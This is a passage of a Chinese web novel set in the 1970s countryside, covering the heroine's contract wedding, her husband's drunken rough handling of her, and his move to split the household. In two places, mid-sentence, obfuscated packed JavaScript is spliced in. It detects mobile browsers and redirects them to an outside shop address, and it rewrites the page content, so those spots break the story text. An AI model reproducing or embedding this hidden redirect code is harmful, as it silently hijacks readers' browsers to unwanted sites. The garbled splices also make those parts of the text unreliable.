有蒋有年做反面典型,下乡知青里那些想玩弄村里姑娘的,一个个都没了胆,老老实实接受劳动再教育,不敢再以玩弄那些花花心思为荣。 * 自从谢晚棠发了疯,一直到结婚,谢老太都没敢再惹事。 结婚前一天,两个大樟木箱子打好了,和缝纫机、收音机一起都摆在她的小屋里,炕上还放着红彤彤的大喜被,小小的屋子被塞得满满满当,被染上了喜庆的色彩。 洗漱完躺在炕上,谢晚棠睡不着,透过窗棂看出去,漆黑的天空中月光明亮,星星闪烁。 明天她就要结婚了。 明晚她就要和傅青山睡在一个炕上了,母单的谢晚棠莫名有点焦虑。 15. 第 15 章 虽然只是合约婚姻,但是母胎单身的谢晚棠一想到要和一个男人同床共枕,心里说不出是个什么感觉。 不上不下的。 不过幸好傅青山还有5个孩子呢! 睡觉这种事,人多反而不尴尬呢! 翌日一早,谢晚棠起来的时候,薛桂花早就开始烧火做饭了,这会儿已经能闻到二合面饼子的香味了。 “娘,起这么早。” “你大喜的日子,娘高兴,睡不着,快去洗脸,一会儿刘主任她们就过来了。” 虽然现在结婚的流程简化了不少,但是装箱、开脸、化妆、送亲,一应流程下来,还是得有帮忙的。 妇女主任刘秀香前两天就和薛桂花说好了,今天带着宣传队长,还有支书家的傅大娘过来帮忙。 吃过早饭,刘主任她们就过来了,去东间跟谢老太太打过招呼就来西间帮忙装箱,傅青山送来的东西多,两个半人长的大樟木箱子装得满满的。 刘主任和傅大娘帮着装完箱子,宣传队长郭燕给谢晚棠开脸。 用一根线在皮肤有汗毛的地方来回绞,去除面部汗毛,让皮肤看起来更细腻,是老祖宗流传下来的古法美容秘书。 谢晚棠以前只是在电视里看过,兴致勃勃地准备好,结果郭燕的手一开动,她简直眼泪都要流下来了! 古人美容这么疼的吗?! 她脸上皮肤细腻,本身汗毛就很少,绞完唇边的汗毛,谢晚棠实在是忍不住疼,其他地方意思了几下这个环节就匆匆结束了。 着实是享受不了。 这个年代也没那么多化妆工具,而且谢晚棠皮肤本身底子也好,画了眉毛,涂了口红,轻轻晕上一点腮红就搞定了。 等谢晚棠换上结婚的新衣裳一出来,刘主任、傅大娘和郭队长全都看呆了。 与村里一般出嫁的闺女穿得喜衣裳款式完全不同,红上衣虽然没印什么图案,但款式是城里时下最流行的衬衣,纯正的红色修身衬衣将谢晚棠的身材凹凸有致地勾勒出来,最后在细腰处扎进黑色裤腰里,笔直的黑色长裤衬得谢晚棠的腿又长又直,配上皮质上好的黑色皮鞋,透着一股子飒爽干练。 三个人里宣传队长郭燕最年轻,谢晚棠这一身太惊艳了,她小心地摸了摸这精致利落的衬衣袖口:“这衣裳可真好看,在供销社买的吗?很贵吧!” 谢晚棠:“没有,自己扯布做的。” 刘主任也被吸引住,不可思议地看向薛桂花:“婶子你还有这手艺呢!” 薛桂花看闺女这一身打扮这么好看,高兴得嘴都合不拢:“我哪里懂这些,是小棠自己裁的。” 刘主任和郭队长闻声更震惊了,就连傅大娘都细细打量起来。 谢晚棠谦虚地笑笑:“去镇上的时候看到镇上的女工穿衬衣,看起来很利索,就回来照着做的。” 实际上对于谢大设计师而言,设计个中规中矩的小衬衣算什么啊,她会的花样还多着呢!就是这个保守的年代还不太允许她肆意发挥。 郭队长搞宣传工作,抛头露面多,而且又是年轻爱美的年纪,摸摸丝滑的的确良布料:“这料子也不便宜吧。” 谢晚棠笑道:“不印花的没那么贵,这就是为了结婚非得穿红没办法,不然用土布做就行,白衬衣日常又精神,一样穿,还舒服。” 听谢晚棠这么说,郭燕可开心了,拉着谢晚棠的手:“晚棠,等着我割块料子,去找你帮忙做行吗?” 谢晚棠现在有缝纫机了,做件衬衣还不是小菜一碟,大手一挥:“没问题!” 郭燕可太高兴了,反正都准备妥当了,就等着男方来接亲了,没什么事,郭燕兴冲冲跟谢晚棠商量白衬衣配什么颜色的裤子好看,一起把料子买回来,到时候让谢晚棠帮她做一身,她穿着去别的大队去宣传,让她们看看下沟村妇女的精气神儿!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13634872|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刘秀香比郭燕大不了几岁,看郭燕和谢晚棠聊的起劲,也约好了跟郭燕一起去买布。 傅大娘笑着摇头:“怪不得玉秀前几天跟我说不让我给她做衣裳,说要等着她嫂子结完婚有空了找她嫂子做,她嫂子是眼光好!” 几个人坐在炕上聊的开心,薛桂花把帮忙的茶果装好拿给刘主任她们,她们推辞了两下,也就收下了。 在这个什么都紧缺的年代,茶果这样有油水的酥货,拿回去给家里孩子分分吃,都是好东西。 这年头接亲不兴敲锣打鼓了,但是男方来的时候,外边还是传来了孩子们热闹的声音。 傅大娘她们赶紧下炕准备着,原本轻松欢乐的气氛瞬间紧绷起来:“晚棠快坐好,新郎官来了。” 谢晚棠坐在炕上,透过破旧的窗棂缝往外看了一眼,就被跨步进了院门的男人吸引了视线。 今天傅青山一改往日衬衣长裤的打扮,穿了一身崭新的绿军装。 谢晚棠愣了一下才反应过来,傅青山在武装部工作,武装部主要就是负责招兵的,绿军装也是他的正装啊! 傅青山人高腿长步子也大,谢晚棠回过神来的时候,院里早已没了傅青山的身影。 人群一阵骚乱,谢晚棠偏头看过去,傅青山长腿一步跨进小小的西屋,走到谢晚棠面前站定,占据了谢晚棠全部的视线。 几乎每个女孩都有过军装情结,既有军装带来的那种制服诱惑,又有军装背后承载的那一份军人的责任。 傅青山本来长得就高,在人群里总是最突出的那一个。 肩宽背阔,窄腰长腿的好身材,更是天然的衣服架子。 虽然他脸不白,但是小麦色的皮肤,棱角分明的面颊,配上熨烫齐整的绿军装,天然就有一种男人的力量感扑面而来。 谢晚棠记得大学军训的时候室友曾经感慨过一句——军装是一个男人最好的医美。 16. 第 16 章 听到大家的低笑声,谢晚棠才回过神来,反应过来自己刚才竟然看军装美男都看直眼了! 哎呀呀!主要是她日常在秀场也见不到穿军装的男模,这制服诱惑的冲击确实有点大呀! 薛桂花也笑,宠溺地摸摸她头:“也不知道害羞!” 谢晚棠吐吐舌头,欣赏美男有什么好害羞的! 谢晚棠是真不觉得害羞,她前世的工作就是天天和美男美女打交道。 大家笑也并不是笑话谢晚棠的意思,只是觉得难得有新娘子不羞答答的,还挺热闹的。 人家看自己的男人,还是个好看的男人,当然是愿意怎么看就怎么看!晚上还要睡一起呢! 那个年代农村虽然外在行为上不想21世纪那么开放,但是妇女和妇女,男人和男人们聚在一起聊天的时候,那话题,可比谢晚棠欣赏美男尺度大多了。 倒是傅青山,被谢晚棠看得耳朵尖泛红,不过他向来面冷,大家倒是都不敢调笑他。 傅青山从进门,眼里就再没了别人。 谢晚棠一直都是好看的,但平日里喜欢谢晚棠一般都穿素色,美得素净大方,像个清纯的学生。 今天谢晚棠一改往日的素色,一身利落的红装,美得惊艳,让周围的一切都黯然失色。 虽然膈应东间,按照习俗,谢晚棠还是和傅青山一起,去向谢老太太和爹娘行改口礼,谢老太太作为家里最尊的长辈,按理应该给孙女和孙女婿准备个红包喜庆喜庆的。 可老太太打心眼里觉得嫁出去的闺女泼出去的水,而且因为谢晚棠不嫁给王二家,她已经损失了100块钱了,谢汪洋把王二家给的彩礼送回去的时候,她别提多心疼了,怎么可能给谢晚棠再准备红包,死丫头想得美! 家里富裕的包个大点的红包,家里不宽裕的包个小红包也是个吉利,像谢老太太这样一毛不拔的,还真是少有,男方女方跟着来帮忙的都撇撇嘴。 谢晚棠倒是不在意,对于严重重男轻女的谢老太太来说,这真是基操了。 人要走出来,才有更广阔的天地。 谢老太太这种人,格局就注定了她的未来。 出门子的时候,薛桂花握着她的手,眼眶忍不住泛红。 傅大娘拍拍薛桂花的肩膀:“弟妹,晚棠结婚是喜事,而且这也没嫁远。” 薛桂花赶紧擦擦眼泪:“对,我就是高兴地!不哭不哭,我们小棠以后都好好的。” 谢晚棠点头,抱了抱薛桂花:“娘,我们都好好的。” 上辈子薛桂花也同这辈子一样爱着她的女儿,但她被这个阴沉的家压了半辈子,她根本不敢反抗,眼睁睁地看着自己的女儿走向深渊却无能为力,不过五十几岁就郁郁而终。 这辈子,在谢晚棠的影响下,她已经敢站起来为女儿争取一点利益了,这样的改变已经是很好的开始。 傅青山很大方,让帮忙的给来看热闹的孩子每人都分了一块糖。 这个年代的小朋友肚子里都缺,哪家有喜事都愿意去跟着热闹,为的就是能跟着分点好吃的。 一般人家就是给个花生,好一点的给个小其子,给糖的就是极好的了,更何况傅青山给的还都是非常稀罕的奶糖。 今天下沟村的小孩们比过年还高兴,叽叽喳喳地一直跟着送亲队伍玩,热闹无比。 傅青山用自行车带着谢晚棠,后边的樟木箱和缝纫机有人抬,队伍也算浩浩荡荡了,不止是在下沟村,就算是十里八村都加起来,谢晚棠这场婚礼,也算的上是体面了。 到了傅青山家,婚礼是在主屋这边举行的。 这个年代的婚礼真的很有时代特色,第一个环节竟然是夫妻一起齐读毛主席语录。 …… “世界是你们的,也是我们的,但是归根结底是你们的。你们年青人朝气蓬勃,正在兴旺时候,好像早晨八、九点钟的太阳。希望寄托在你们身上。” 傅青山平日话不多,就算有回应,也是简单的三言两语就说清楚结束话题。 谢晚棠还是第一次听他用正式的语气说这么长的话,他认真读书的时候,声音竟有点像电视里低沉浑厚的播音腔。 还怪好听。 读完毛主席语录选段,两人一起对着毛主席像鞠躬。 这是个文化贫瘠又混杂的年代,弄完这些,接着又是农村最传统的拜天地,傅老汉和傅老太坐在正上,傅老太上下打量谢晚棠,眼神里透着不善。 傅青宁跟在傅老太旁边,看谢晚棠穿着一身漂亮衣裳,脚上是她哥给买的新皮鞋!别提多气了! 她去供销社的时候看过,20一双呢!她回来跟二哥要过,二哥说让她找娘,可娘才不会给她买20块钱一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13634873|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双的鞋! 今天的谢晚棠就像一只耀眼的红胡蝶,傅青宁看她越发不顺眼,像看阶级敌人一样瞪着谢晚棠。 傅老太和傅青宁的嘴脸谢晚棠当然都看到了,但她才不在意。 她只在意自己活得舒服开心,至于小人心里想什么,她才懒得去猜。 不管心里怎么想她都无所谓,但要是舞到她面前,那就对不起了。 傅大哥傅大嫂,傅老三和媳妇站在两边。 玉秀也来了,带着侄子们站在后边,谢晚棠看过来的时候,她高兴地跟谢晚棠挥手。 嫂子今天简直美死了! 拜天地结束后,院里开席,傅青山要在外边陪客人,傅大嫂把谢晚棠领去了东屋傅青山的房里。 傅家二老和傅老大老三住在正屋,后来傅青山转业回来,就在旁边新盖了个东屋,中间开了个院门,傅青山和孩子们过来吃饭也方便。 谢晚棠穿过中间的小门,进到傅青山的小院。 傅青山这边只盖了一大间,房子不大,院子自然也不大。 傅青山上班早出晚归,也没什么时间打理,院子里除了一口井,拴了根绳晾衣绳,别的什么也没有,空空旷旷的。 屋里倒是打扫得干干净净,谢晚棠带来的两个大樟木箱子,还有傅青山给她买的缝纫机也都抬了进来,小小的房子一下就堆满了。 傅大嫂进来的时候,羡慕得摸了摸那两个大樟木箱子,一脸艳羡:“真好看,这得放多少东西啊!” 谢晚棠想起薛桂花跟老太太为她争取这两个箱子的时候说过,要是嫁到婆家什么都没有,去了让人看不起。 她当时其实本来并不在意这两个箱子,觉得可有可无,只是这是薛桂花第一次站起来为她争取什么,她当然要争下这口气,也给薛桂花一份信心。 现在才明白,薛桂花真是很为她着想,谢晚棠生活在21世纪了,早就过惯了什么都不缺的日子,可在物资极度匮乏的70年代,两个樟木箱子也是很好的嫁妆,她娘没有让她一无所有的嫁到傅家。 傅大嫂出去一趟很快端着饭回来,给谢晚棠放在炕桌上:“弟妹,新媳妇不好抛头露面,娘说让你就在这间吃吧。” 谢晚棠坐在炕沿上,偏头看了一眼桌上都黏呼了的烂白菜,呦吼,新媳妇不好抛头露面,就好吃这猪食一样的剩菜咯? 17. 第 17 章 第18章 二哥不行都一个多小时!你还不如你二哥! “疼疼疼——” 谢晚棠疼得下意识挣扎,可身上的男人犹如原始森林里的食人藤蔓,她越挣扎,就被禁锢得越紧,直到全身上下一点都动弹不得,被傅青山严丝合缝地压在炕上,犹如牢笼中无望的困兽。 傅青山高挺的鼻梁渗出一片透明的大滴汗珠,狭长的凤眼因为酒醉眼白处隐约泛着红,锋利的视线如野狼般锁住她。 呼吸间带着浓烈白酒味的灼热气息喷在她细嫩的脖颈,好像下一秒就要咬破她最脆弱的动脉,彻底置她于死地。 谢晚棠从未见过傅青山如此冷血狠厉的神情,绝对的力量压制,酒醉下失去理智的暴戾,都让谢晚棠感觉到强烈的危险信号,瞬间心跳突突突疯狂加速。 “青山,随份子的钱和贺礼先放你这,你——” 熟悉的声音由远及近,拉回了傅青山的一丝理智,傅青山闻声回头。 支书傅余年拿着份子钱和红纸一进门就看到侄子正骑在侄媳妇身上,把侄媳妇压在炕上! 孩子都四个了,傅余年哪能不明白这是什么事! 那一刻他恨不得自己是个瞎子! 侄子从不跟村里的女人弄些纠缠不清的勾当,而且平日里看着也不是个急性子的,怎么刚喝完回来就,就,就,哎呦喂! 还好巧不巧地让他一个堂公公辈的看见了! 真是要了老命了,以后他还怎么见侄媳妇! 小儿子还跟在后边抱着各家送的贺礼要跟进来,傅余年眼疾手快,一步退出来,啪的把门带上。 “贺礼给你哥放这箱子上就行!” “青山啊,谁家随的份子和贺礼我都记在红纸上了,回头你把你爹娘的那份找出来给他们就行,大队里还有事,我就先走了!” 话落,谢晚棠听到一路小跑的脚步声越来越远,直到消失。 突然被支书打断,傅青山好像清醒了些,黑眸里杀气褪去,透出些许迷茫神色,连带着手上的劲也松了不少,谢晚棠趁机使劲抽出右手用力去推傅青山的胳膊。 可惜她那点吃奶的劲在傅青山的绝对力量面前杯水车薪,隔着一层制服布料都能摸到傅青山小臂肌肉的轮廓,如阳光下洗礼过的岩石一般,又热又硬。 傅青山纹丝不动,皱眉看她,清醒了些但又好像没完全清醒。 傅青山至少得有一米八五,还一身结结实实的肌肉可压沉,死死得压在她上,她腰都要断了,感觉气都要上不来了! 明明好心看他热想帮他解个扣子凉快凉快,结果给自己招来这么一场无妄之灾,腰和背疼得都要断了,谢晚棠才不管醉汉是不是有意的,唯一能活动的右手直接拧上傅青山侧腰上最嫩的那块肉。 牟足劲要给他来个刺激的360度,结果堪堪才转到90度就脱了手。 怎么会有人腰上的肉都这么硬! 不过这一下还是起到了效果,傅青山眉头瞬间拧起,在她拧不住最后脱手的那一下闷哼出声。 谢晚棠气得瞪他:“还知道疼?!沉死了!赶紧下去!再骑我给你把腰上的肉全拧紫了!” 被谢晚棠又拧、又瞪、又骂,傅青山终于清醒了,反应过来自己压在谢晚棠身上这个姿势,愣了片刻,立马抬腿从谢晚棠身上下来。 身上瞬间就像挪走了一座大山,喘气都顺当了,谢晚棠深吸一口气,又长长地呼出去,这才揉起被攥得又麻又疼的手腕。 谢晚棠揉了半晌,身边的人一点动静也没有,好像呼吸声都停滞了似的。 谢晚棠偏头一看,只见傅青山两手放在膝上,盘腿坐如钟,正垂眸看她,一如往常般面无表情,好像刚才的一切都跟他无关。 谢晚棠皱眉打量了好一会儿,真的没看出傅青山有哪怕那么一丁点的悔过愧疚之情! 还居高临下地俯视她,谢晚棠简直要气死,不顾后背和腰上的疼,一个翻身坐起来,气呼呼地和傅青山盘腿对坐,一副武林高手要开始内功比试的架势。 可傅青山比她高太多,就算她坐起来,傅青山还是垂眸俯视她,总有一种被压了一头的感觉! 谢晚棠深吸一口气,双手叉腰,拿出架势,开始输出: “刚刚我还觉得你酒品不错呢,喝醉了也不打呼不磨牙不放屁,怪老实的,结果呢?!你是不打呼不磨牙不放屁,你是直接想杀人啊!” “我看你热得满脸是汗,我好心帮你解扣子,结果被你一顿折腾,你看你给我手腕攥得,都肿了!” 谢晚棠控诉的时候伸出手,傅青山的视线落在她已经红肿起来的手腕上,皱了皱眉。 谢晚棠看傅青山表情终于有了点变化:“你说你过不过分?” 傅青山点头。 谢晚棠不满地瞪了一眼,傅青山好像突然变聪明了,懂了谢晚棠的意思,开口:“过分。” 谢晚棠:“你说我倒不倒霉!” 傅青山:“倒霉!” 谢晚棠:“……” 大哥,不是每一句话都需要回答的== 谢晚棠不依不饶:“你有没有认识到自己的错误?” 酒后暴力行为可不是小事,以前她就看网上有人说老公喝醉了回家就家暴的。 傅青山的行为虽然不是家暴,但是比家暴更可怕! 刚才他眼里流露出来的那种狠厉和杀意,可不像是闹着玩儿的! 她是过不了苦日子想找个饭票,可也不能为了吃口饭把小命给丢了啊! 傅青山:“对不起。” 谢晚棠:“如果再出现这样的情况怎么办?” 傅青山:“不会再有这样的情况。” 谢晚棠拧眉,对这个回答一点都不满意:“傅青山,不要逃避问题!” 傅青山听到她叫他的名字,眼底闪过一丝起伏,看她拧眉生气的样子,道:“我以后不喝酒。” “我不信!” “我保证。” 谢晚棠打量他片刻,看他神色认真,不像是随口瞎说,非常严肃地跟他约法三章:“我可以相信你这一次,但如果你说的做不到,我们就马上离婚。” 傅青山眸光微沉:“好。” 谈完谢晚棠气势泄下来,手腕一跳一跳的疼,前胸后背都像被大车碾压过一遍似的。 她一边揉手腕一边无奈:“你刚才那是干嘛呀?像要杀人似的!” 傅青山皱眉,思索片刻后道:“对不起,把你当成敌人了。” 谢晚棠:“……” 难道这就是传说中的条件反射? 谢晚棠无奈叹气,这也太吓人了。 如果是这样,那办法真的只有一个,就是傅青山说的,以后都不喝酒。 傅青山下炕,谢晚棠以为他要下去看支书刚才送来的份子钱和贺礼,结果听声音,傅青山直接出了家门,谢晚棠转头透过窗棂,看到傅青山在院里压井打水。 片刻后,傅青山端着一盆井水和一条毛巾进来放地上,弯腰把毛巾在井水里浸湿又拧干,起身看向谢晚棠手腕:“冷敷能消肿。” 事情既然讲开了,谢晚棠也不再有情绪,伸出手,傅青山把毛巾叠成长条形,小心地围着谢晚棠的两个手腕包了两圈。 凉凉的井水确实消去一些热痛,不过很快就被红肿的皮肤染上温度。 傅青山不厌其烦地一遍一遍弯腰重新浸凉毛巾给她冷敷,等到晚饭的时候,她的手腕已经不肿了,只剩微微的酸疼,都在可以忍受的程度了。 虽然傅青山自始至终都没有流露出来任何愧疚的神情,但确实也用行动为自己的错误做了弥补,谢晚棠感觉这事暂时可以翻篇了,后续就看傅青山能不能信守诺言了。 晚饭的时候,谢晚棠和傅青山一起去正屋吃饭。 继中午跟她表达敌意后,谢晚棠再次看到傅青山的五个孩子,跟傅家其他孩子一比,兄妹五个明显穿得更破,除了兰兰和大刚大能照顾自己,其他三个小的看着还有些邋遢,确实有娘打理的孩子和没娘打理的孩子,一眼看着就不一样。 不知道是小孩对后妈有天然的敌意,还是被某些人恶意挑唆了,这些孩子一看到她就浑身竖起刺。 她不会为了迎合傅青山刻意去跪舔,也不会因为小孩的敌意就针对,做好一个后妈该尽的义务,她自觉问心无愧就好。 谢晚棠跟大嫂和弟妹打过招呼,和傅青山一起进了东间,傅老汉、傅老太、傅青宁、傅大哥和傅老三都早早在炕上坐好了。 谢晚棠和傅青山、傅大嫂和三弟妹进来的时候,四个人,就剩炕边一个位置。 以前傅青山晚上回来吃饭的时候,是两个媳妇站在炕前吃,傅青山中午不回来吃的时候,傅大嫂和弟妹挨着炕沿挤挤坐也就吃了。 如今又加上谢晚棠,晚饭肯定是坐不下了,就连中午吃饭也挤不下,肯定得有人一直站着吃。 傅青宁得意地看了一眼谢晚棠,拍拍身旁最后一个空位置:“二哥,快来坐,我都饿死了!” 在所有人的注视下,傅青山对谢晚棠道:“你坐。” 傅青山话落,一屋子的人都变了脸色,谢晚棠看傅青宁眼珠子都要掉下来的吃惊样子,莫名的觉得非常爽呢~ 谢晚棠兢兢业业扮演好傅青山的新婚小娇妻,笑容温和,语气温柔:“谢谢青山哥。” 傅青山诧异地看了她一眼,很快便恢复他平常面无表情的神色,嗯了一声。 谢晚棠刚要坐,傅老太咳嗽了声:“哪有女人在炕上坐着,让男人在下边站着的?” 傅青宁一听娘这么说,马上又得意起来,瞥了谢晚棠一眼:“就是!” 傅青山扶了下谢晚棠,让她坐下:“晚棠今天累了,我身体好,站着没事。” 傅老太彻底冷下脸来:“这不是有事没事的事!哪有男人不上炕的?!” 傅老太坚持让傅青山上炕,傅青山坚持让谢晚棠坐着,目前这个情况肯定无解,除非炕上现在下来一个人,再腾一个地方给傅青山。 傅老汉和傅老太是长辈,傅大哥和傅老三是男人,大家的视线自然而然落到傅青宁身上。 傅青宁原本还等着看谢晚棠的笑话,突然发现大家都看着她:“都看我干嘛!我凭什么下去!我一直在炕上吃饭的!” 傅大嫂和老三家的闻声都撇撇嘴,这个小姑子,家里什么活都不帮着干,就吃饭的时候往炕上跑得快。 人家老二护媳妇,非让媳妇坐,她不下去,难道让傅老太下去? 傅青山和傅老太态度都坚决,傅大哥和傅老三事不关己,不多说话,最后是傅老汉开口:“青宁去西间跟孩子一块吃,给你二哥腾个地。” 傅青宁简直要气炸了,但哥哥嫂子都看着她,好像这场风波是因她而起,好像她才是那个惹事精! 傅青宁气得啪一声放下筷子,气呼呼地越过谢晚棠,踩上鞋摔上门去了西间。 傅青山这才上炕,在傅青宁刚刚坐过的地方坐下,傅老太的脸已经黑得像锅底,傅大嫂赶紧笑着招呼大家快吃饭。 晚饭是一盆白菜炖的猪脸,一盆韭菜炒鸡蛋,糊的二合面饼子。 但是因为这个年代花生油的份例也少,油少了炒出来的菜一股水煮菜的味,不过能有荤腥,已经是好饭了。 傅老太黑着脸吃完一顿饭,傅大嫂和弟妹下去收拾饭桌,谢晚棠刚要起身,傅青山已经下炕帮着把桌子搬了下去。 等收拾完大家都回来坐下,一家之主傅老汉发话:“你们新婚,今晚让孩子都来东间困觉。” 谢晚棠抿唇,这是要她和傅青山过洞房花烛夜啊。 虽然是合约夫妻,但是在长辈面前还是要做做样子的,傅青山嗯了声后,谢晚棠也道:“谢谢爹。” 傅老太忍了一晚上,终于奔入主题:“老二,你自己就五个孩子,老大老三孩子加起来才跟你一样多,这娶了媳妇了你以后还得生孩子,养你们这么大家口本来就吃力,都是我们和老大老三替你担着这份累。” “你以后得把工资全都交上来给我管着,这么大家口,钱得花得有数才行,不能还跟没结婚的时候那么铺张浪费!” “还有,等会回去把份子钱也送过来,我给放着就行了。老二家的,明早开始就和大嫂弟妹一起做饭。” 傅老太说完,谢晚棠心里就三个字:想屁吃呢? 真是白日做梦! 就傅老太这个粗放不用心的养法,傅青山的工资别说养5个孩子了,就是养15个也养了! 明明花着傅青山的钱,还说着这些埋怨挖苦的话。 真是又当婊子又立牌坊呢! 谢晚棠一偏头看傅青山听完竟然还认真点了点头,一副真听进去了的样子,谢晚棠以为他要倒戈做妈宝男了,刚要开口,就听傅青山开口道: “娘说的有道理,我也考虑过了,我这边孩子多,确实拖累家里了,所以还是分家吧,我分出去,减轻家里的负担。” 傅青山话落,仿佛在傅家投下了一颗原子弹,把所有人都炸懵了。 傅老太说他孩子多是累赘,他便提分家,把他们这些累赘分出去,给家里减轻负担,看似非常合情合理,很为这个家考虑。 但是!好像哪里又不对劲! 傅老太最先反应过来:“那你的工资……” 傅青山开口,打断傅老太:“娘说的是,养五个孩子是不容易,不当家不知柴米贵,以后我会注意。至于工资,分了家就不在一个锅里吃饭了,我也要养家,自然是不能再给娘管着。” 除了结婚的时候一起读毛主席语录,谢晚棠还是第一次听傅青山说这么长的句子,关键是傅青山说话还特别有技巧有逻辑,先肯定对方的部分内容,然后再提出自己的不同意见。 有理有据,还怪不好直接反驳的。 傅青山说完,全家脸上都无比难看,傅青宁闻声也从西间跑过来,震惊地看着傅青山:“二哥,你娶了这个狐狸精就不要我们了?!” 傅青山抬眸看了一眼傅青宁,沉下脸来:“傅青宁,她是你二嫂。” 傅青宁气得跺脚:“她就是个狐狸精!结婚前你就给她花那么多钱,刚结了婚又要跟我们分家,她不就是长得好看点嘛!就把你迷得五迷三道的!” 傅青宁说话难听,傅老汉听不下去,呵斥道:“大姑娘家的瞎说什么!大人商量事由得你在这瞎胡闹!” 老三家的心眼子多,虽然小姑子说出了她的心里话,但眼看傅青山脸越来越黑,就在爆发的边缘,她赶紧下来当和事佬,拉着小姑子出去,生怕小姑子把傅青山惹炸了,那这事可就一点转圜的余地都没有了。 老三家的把傅青宁拽出去以后,东间重新安静下来,大家面面相觑,每个人脸上都写着不想分家,但又心虚没法开口,毕竟他们都花着傅青山的钱,但又没对傅青山的孩子上过心。 傅老太感觉自己的老脸被老二打得啪啪响,为了逼老二全部上交工资,她才说出那番抱怨的话,却不想老二竟然根本不顺着她来,反倒要分家! 傅老太冷脸给自己找补:“刚结婚就分家,说出去让人笑话!再说了,一家人在一块吃饭多热闹!” 傅青山本就性子冷,不喜欢闹,更不在意别人的眼光:“支书大爷家老大结婚就分出去了,而且家里这么多人,吃饭都坐不下,我和晚棠分出去正好。” 傅老太:“你上有哥哥下有弟弟,你分家分出去自在了,就让哥哥弟弟替你养老?” 傅青山:“自然是不能亏了大哥和老三,明天让支书大爷过来分家,顺便定下我的养老份子,以后每个月我会按时交过来。” 傅老太:“……” 傅老太扔一个雷,傅青山拆一个雷,给傅老太拆了个干干净净。 按照农村的养老标准,一年下来,每个儿子也就是分个百十斤粮食的份子,跟傅青山的工资比,简直是毛毛雨。 吃惯了傅青山福利的一家人当然不愿意,但傅青山有理有据,而且他这个人向来性子冷,吃软不吃硬。 傅大哥在家里最长,自觉面子最大,道:“老二,弟妹才刚嫁过来,你还带着五个孩子,都说这后妈不好当,这突然一下子就分出去,恐怕你那五个孩子也不能愿意,弟妹也难做,不如先一起过两年,等孩子跟弟妹都熟了,再分也不迟。” 要傅青山一辈子不分家估计够呛,但傅大哥的宗旨就是能拖就拖。 傅大嫂也跟着附和:“是啊是啊,孩子们大了,都有自己的主意。” 傅青山点头:“大哥大嫂说得是。” 深谙傅青山的话术逻辑,谢晚棠现在已经不担心傅青山会倒戈了。 果然下一秒,傅青山朝东间喊了大刚和兰兰一声,让两人带着弟弟妹妹过来。 大刚和兰兰带着二刚小刚和妞妞过来,老三家的和傅青宁也跟着过来,把本就不大的东间围了个满满当当。 傅青山对五个孩子道:“现在给你们两个选择,一是跟原来一样,我还把工资交过来,你们在这边跟着爷爷奶奶吃饭;二是咱们家分出去单过,以后我和你们妈一起养你们。” 一听傅青山把选择权交给了孩子,傅老太和老大老三媳妇儿都长舒一口气。 谢晚棠在大队部慷慨激昂批斗自己亲爹的场面孩子们可都当场看见了,看着那么娇娇柔柔的姑娘,狠起来连亲爹都不认,何况是没血缘的孩子。 二刚看完批斗会回来还连着做了好几天噩梦,梦着后妈拿鞭子把他抽得皮开肉绽,哀嚎惨叫。 而且因因为傅青山坚持给谢晚棠准备天价彩礼的的事,婆媳三个背地里可没少跟孩子们说谢晚棠的坏话,今天谢晚棠进门,五个孩子对谢晚棠的态度,她们也都看在眼里。 在她们自信满满的氛围下,兰兰和大刚对视一眼,大刚往前一步:“爹,我们愿意分家,跟着你过。” 大刚话落,一大家子人脸色瞬间像被屁崩了一样,懵逼又无措! 他们不知道,结婚后分家这事,傅青山早就告诉了孩子们。 傅青山起身:“那分家的事就定了,明早晨吃完饭我去找大爷来分家,份子钱我回去把爹娘的挑出来,明天送过来。” 傅青山说完要走,傅老太急得像热锅上的蚂蚁,一把扯住谢晚棠的胳膊:“老二家的,你就愿意伺候五个孩子?” 谢晚棠心里翻白眼,我看起来傻吗?要么伺候五个孩子,要么伺候五个孩子加你们这一大家子,我是傻逼不选前者? 谢晚棠不动声色地把自己胳膊抽出来,起身下炕,小娇妻般站在傅青山身边:“娘,我都听青山哥的。” 傅青宁两眼一黑,简直要厥过去!狐狸精!骂她的时候可不是这么娇滴滴的小媳妇样! 傅青山觉得事情已经定了,不需要再多叨叨。 两人回到东屋点上蜡洗漱完上炕,谢晚棠看了一晚上戏,再也憋不住笑出声来,佩服得竖起大拇指:“傅青山,以前没看出来,你这嘴也很厉害啊!在古代,绝对能舌战群臣!” 橘黄的烛光照在傅青山脸上忽明忽暗,谢晚棠感觉傅青山看她的眼神像是打量,又像在探究。 谢晚棠:“怎么了?我说得不对?” 傅青山沉默片刻:“睡吧。” 谢晚棠:“……” 在外伶牙俐齿,回来又惜字如金了,果然大佬都是让人捉摸不透的吗? 谢晚棠耸耸肩吹了蜡烛,背对着傅青山脱了华而不实的的确良,换上舒服的土布衣裳躺下。 坐着的时候没觉得,这一躺下,后背一压着,下午的疼又开始返上劲来。 平躺着不行,谢晚棠侧过身,避开后背疼的地方,可一侧过来,腰受力,又扯着腰也跟着疼起来。 索性趴着吧,可是刚趴下还行,趴了没多会儿,这趴的姿势实在太拧巴,胳膊和颈椎又麻了…… 翻来覆去一顿折腾,最后没法子,疼也得躺回来。 傅青山也没睡着,脱了上衣躺下后,就听着谢晚棠那边窸窸窣窣,一直有动静。 